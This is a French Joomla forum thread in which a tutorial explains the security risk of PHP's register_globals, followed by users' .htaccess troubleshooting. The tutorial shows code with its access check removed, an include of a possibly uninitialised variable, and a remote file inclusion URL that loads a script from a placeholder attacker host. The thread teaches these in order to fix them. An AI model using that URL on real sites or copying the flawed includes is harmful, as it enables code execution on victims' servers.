Page 1 of 1

Les registres globaux

Posted: Thu Sep 21, 2006 7:55 pm
by ouly
Introduction

Lorsque l'on charge une page PHP, le serveur fourni au script plusieurs variables pré-définies dont certaines ($_GET, $_POST, etc.) contiennent les données transmises par le visiteur.

Exemple :
Lorsqu'un navigateur demande une page à un serveur, il envoie une requête
* :

Code: Select all

GET /index.php?option=com_frontpage
Le serveur ajoute alors à la variable $_GET (de type tableau), une entrée : option => com_frontpage
Dans le script PHP, cette entrée est ensuite accessible avec : $_GET['option']


Lorsque la directive register_globals est activée, PHP copie ces variables pré-définies dans de simples variables.

Exemple :
En prenant la base de l'exemple précédent, pour l'entrée $_GET['option'] PHP va créer une variable $option contenant également com_frontpage


Où est le problème ?

Cette directive n'est pas en elle-même un problème, mais elle est une source potentielle de failles de sécurité.

Exemple :
Prenons par exemple le code du composant
/components/com_frontpage/frontpage.php dans lequel nous enlevons (en commentant) la protection contre les accès directs :

Code: Select all

<?php
/**
* @version $Id: frontpage.php 85 2005-09-15 23:12:03Z eddieajau $
* @package Joomla
* @subpackage Content
* @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// no direct access
// defined( '_VALID_MOS' ) or die( 'Restricted access' ); // Code commenté pour l'exemple

// code handling has been shifted into content.php
require_once( $mosConfig_absolute_path .'/components/com_content/content.php' );
?>
Si les registres globaux sont activés, il est possible d'appeler le script de la manière suivante :
http://[le_site_victime]/components/com_frontpage/frontpage.php?mosConfig_absolute_path=http://[le_site_du_cracker]/script.txt?

Si la directive allow_url_fopen est activée (ce qui est le cas généralement), le script inclu sera :

http://[le_site_du_cracker]/script.txt?/components/com_content/content.php
et vous serez victime d'une attaque par inclusion de fichier distant (= remote file inclusion).

Dans le cas de l'exemple précédent, l'ajout du code suivant permet de sécuriser le composant :

Code: Select all

<?php defined( '_VALID_MOS' ) or die( 'Restricted access' ); ?>
mais cet exemple est relativement simple et les failles de sécurité ne sautent pas forcément aux yeux du premier coup d'oeil.

Exemple :

Code: Select all

<?php
// Pas d'accès direct
defined( '_VALID_MOS' ) or die( 'Restricted access' );

// Traitement de la tâche demandée
switch ( $task )
	{
		case 'afficher_article':
			$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_afficher.php';
			break;
		case 'editer_article':
			if ( $my->gid < 2 )
				mosNotAuth();
			$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_editer.php';
			break;
		case 'nouvel_article':
			if ( $my->gid < 2 )
				mosNotAuth();
			$fichier = $mosConfig_absolute_path . '/components/com_exemple/fonction_nouveau.php';
			break;
	}

// Chargement du script de traitement
include( $fichier );
?>
Toute variable non initialisée ou dont la provenance des données n'est pas contrôlée peut être une faille de sécurité.

Comment changer la valeur de cette directive ?

Le plus simple est de demander à votre hébergeur d'effectuer le changement sur votre serveur.
S'il ne s'agit pas d'un serveur dédié, il est probable qu'il refuse. Vous pouvez alors placer un fichier .htaccess à la racine de votre site contenant :

Code: Select all

php_flag register_globals off
pour désactiver la directive ou au contraire :

Code: Select all

php_flag register_globals on
pour l'activer.

Emulation de la directive register_globals

Joomla! a introduit une interface permettant d'émuler la directive register_globals. Cette option est limitée par le fait que seuls les scripts PHP derrière cette interface sont affectés (donc les scripts indépendants ou accédés directement ne sont pas affectés).

Depuis la version 1.0.13 de Joomla!, l'activation/désactivation de l'émulation de cette directive se modifie depuis l'administration. Dans la page Site | Configuration du Site, onglet Serveur, option Emulation du paramètre Register Globals.

Avant Joomla! 1.0.13 :
La configuration de l'option RG_EMULATION (option de Joomla! donc) s'effectue dans le fichier /globals.php, ligne 24 :

Code: Select all

<?php define( 'RG_EMULATION', 1 ); ?>
Pour émuler la directive register_globals activée, il suffit d'affecter la valeur 1 à la constante RG_EMULATION. Au contraire, pour émuler la directive register_globals désactivée, il suffit d'affecter la valeur 0 à la constante RG_EMULATION.
Important :
Dans l'environnement Joomla! (tout ce qui est exécuté au travers de Joomla!), les registres globaux sont définis par cette option uniquement et la configuration de la directive register_globals de PHP est sans effet après l'interface RG_EMULATION fournie par Joomla!.


Activer ou désactiver ?

Il est conseillé de désactiver la directive register_globals ainsi que l'option Joomla! RG_EMULATION pour réduire les failles de sécurité potentielles. Cela n'est malheureusement pas toujours possible, certaines extensions nécessitant l'activation de cette option (et peut-être aussi de la directive PHP pour les extensions utilisant certains scripts directement sans passer par Joomla!).

Avant de changer la configuration, vérifiez que les extensions installées sur votre site ne sont pas listées sur cette page (la liste n'est évidemment pas complète) :
http://forum.joomla.org/index.php/topic,86525.0.html
ou si possible appliquer le(s) correctif(s) indiqué(s) pour rendre vos extensions indépendantes des registres globaux.

Notes

* La requête est incomplète mais la suite ne nous intéresse pas ici.
Voir pour plus de détails : http://www.w3.org/Protocols/rfc2616/rfc2616.html (anglais)

Références

http://dev.joomla.org/index.php?option= ... ake_secure (anglais)
http://www.php.net/manual/fr/ini.core.p ... er-globals (français)
http://www.php.net/manual/fr/security.globals.php (français)

Re: Les registres globaux

Posted: Fri Nov 10, 2006 5:10 pm
by dec
Salut Ouly,
Est-ce que placer le

Code: Select all

php_flag register_globals off
directement ds un .htaccess d'un sef quelconque est correct ?

Re: Les registres globaux

Posted: Fri Nov 10, 2006 10:02 pm
by ouly
Oui  ;)

Re: Les registres globaux

Posted: Sat Nov 11, 2006 8:15 am
by syan
Merci Ouly pour cette superbe contribution.

Re: Les registres globaux

Posted: Sat Nov 11, 2006 9:43 am
by ouly
@syan : pour ma réponse ou pour le sujet ?  :D :D :D

Re: Les registres globaux

Posted: Sat Nov 11, 2006 9:58 am
by syan
;D :laugh: ... le sujet bien sûr

Re: Les registres globaux

Posted: Mon Nov 13, 2006 12:15 pm
by dec
C'est étrange, j'ai l'impression de passer pour un ignare  ;D

Paramètre PHP register_globals est sur `ON` au lieu de `OFF`

Posted: Sat Jan 20, 2007 1:49 pm
by member
slaut
le probleme
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Les paramètres PHP Serveur suivants ne sont pas optimum pour la Sécurité de votre site, il vous est recommandé de les modifier:

    * Paramètre PHP register_globals est sur `ON` au lieu de `OFF`
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
jai hébergé chez  http://www.1and1.fr

comment le faire

jai virifer le ficher htaccess.txt et jai trouver que
----------------------------------------------------------------------------------------
php_flag register_globals off
##  Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

#
#  mod_rewrite in use
php_flag register_globals off
RewriteEngine On
-----------------------------------------------------------------------------------------------
mai le mesage d'alert reste:
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Les paramètres PHP Serveur suivants ne sont pas optimum pour la Sécurité de votre site, il vous est recommandé de les modifier:

    * Paramètre PHP register_globals est sur `ON` au lieu de `OFF`
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Re: Paramètre PHP register_globals est sur `ON` au lieu de `OFF`

Posted: Sat Jan 20, 2007 2:45 pm
by ouly
Bonjour member,
Merci de ne pas poster plusieurs fois la même question sur le forum.

Le fichier htaccess.txt doit être renommé en .htaccess pour qu'il soit reconnu par Apache.

Ouly

Re: Les registres globaux

Posted: Sat Jan 20, 2007 3:00 pm
by member
je suis desoler mai ce probleme jai 1 moi avec lui

il faut que je crier un neveux ficher nomer .htaccsse ou modifier loriginal de joomla

et merci 1000 foit

Re: Les registres globaux

Posted: Sat Jan 20, 2007 3:06 pm
by member
ci moi encore jai renemer le fichier htaccess.txt par .htaccess il ma fait ca

ERREUR SERVEUR INTERNE

Un problème inattendu est survenu.
Veuillez réessayer ultérieurement.

jai reie un autre fichier nomer .htaccess

le meme probleme
ERREUR SERVEUR INTERNE

Un problème inattendu est survenu.
Veuillez réessayer ultérieurement.

Re: Les registres globaux

Posted: Sat Jan 20, 2007 3:29 pm
by ouly
Le problème est que le fichier .htaccess utilisé contient des directives concernant la réécriture d'URL pour les fonctionnalités SEF.

Généralement c'est la directive Options qui cause problème car l'hébergeur a bloqué la possibilité de la modifier. Il suffit probablement de commenter la ligne :

Code: Select all

Options +FollowSymLinks
pour que le serveur accepte le fichier .htaccess.

Re: Les registres globaux

Posted: Sat Jan 20, 2007 3:46 pm
by member
merci uoly merci 1000 foit

pour ce problem jai envoier un message ou heberger

jai heberger chez  *1and1* lunix

mai avec ce joomla je suis null
je suis nauveux il me faut etape par etape pour que le regler

et merci encore

Re: Les registres globaux

Posted: Sat Jan 20, 2007 3:49 pm
by member
ouly wrote: Le problème est que le fichier .htaccess utilisé contient des directives concernant la réécriture d'URL pour les fonctionnalités SEF.

Généralement c'est la directive Options qui cause problème car l'hébergeur a bloqué la possibilité de la modifier. Il suffit probablement de commenter la ligne :

Code: Select all

Options +FollowSymLinks
pour que le serveur accepte le fichier .htaccess.
comment commenter cette lingne
le probleme precier
je peut pas modifer
ni htaccess
ni activer le cache
est ce que il ya une solution s.v.p

merci

Re: Les registres globaux

Posted: Sun Nov 11, 2007 9:14 pm
by lpcvb
Bonjour, j'ai le même problème que les précédents.

J'ai suivi la procédure (ajout du fichier .htaccess; commenter la ligne option +FollowSymLinks) mais quand je veux accéder au site, il me met une page d'erreur "Internal Server Error".

Je joins le fichier htaccess.txt

Merci pour l'aide

Lpcvb

Re: Les registres globaux

Posted: Mon Nov 12, 2007 8:22 am
by dec
Essaye avec une seule #.

Re: Les registres globaux

Posted: Mon Nov 12, 2007 9:48 am
by lpcvb
J'ai déjà essayé avec un seul # et cela n'avait pas fonctionné non plus.

Merci pour votre aide

lpcvb